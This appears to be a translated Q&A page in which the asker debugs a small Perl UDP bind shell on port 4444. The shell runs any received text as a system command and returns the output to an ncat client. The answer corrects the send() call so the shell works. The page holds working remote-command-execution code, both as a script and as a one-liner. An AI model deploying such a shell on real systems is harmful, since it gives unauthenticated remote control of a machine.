Печать на Perl STDOUT - PullRequest
       22

Печать на Perl STDOUT

0 голосов
/ 13 июня 2019

Я пишу очень простую оболочку связывания в Perl, которая должна открывать определенный порт в Windows, и когда я подключаюсь к нему с помощью ncat, я должен иметь возможность писать команды из ncat, которые будут выполняться на машине иверните мне STDOUT.Вот мой код:

use strict; use IO::Socket; 
my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); 
$MAXLEN = 2048;
$PORTNO = 4444;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp');
while ($sock->recv($newmsg, $MAXLEN)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    my @cmd = qx($newmsg);
    print(@cmd);
    $sock->send(@cmd);
}

Если я наберу что-нибудь простое, например echo Hello world, оно вернется, как и ожидалось, Hello World.Проблема возникает, когда я набираю dir или что-то, включающее новые строки (или, как я уже догадался, я довольно новичок с perl).При вводе dir результат печатается на оболочке perl (как и ожидалось, из-за print(@cmd), но затем также печатает usage: $sock->send(BUF, [FLAGS, [TO]]) at -e line 1. и завершается, но я никогда не получаю сообщение в ncat.

Iя запускаю команду из командной оболочки как однострочник: perl -e "use strict; use IO::Socket; my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 4444; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp'); while ($sock->recv($newmsg, $MAXLEN)) {my($port, $ipaddr) = sockaddr_in($sock->peername);my @cmd = qx($newmsg);print(@cmd);$sock->send(@cmd);}"

Как я могу сделать это, чтобы она печатала вещи как dir?

1 Ответ

2 голосов
/ 13 июня 2019

Ваша проблема с $sock->send(@cmd). Метод send ожидает, что сообщение будет скалярным, а не массивом. Вы можете исправить это следующим

my $CRLF="\x0D\x0A"; # Network line break
$sock->send(join $CRLF, @cmd); # Convert @command into a single string
...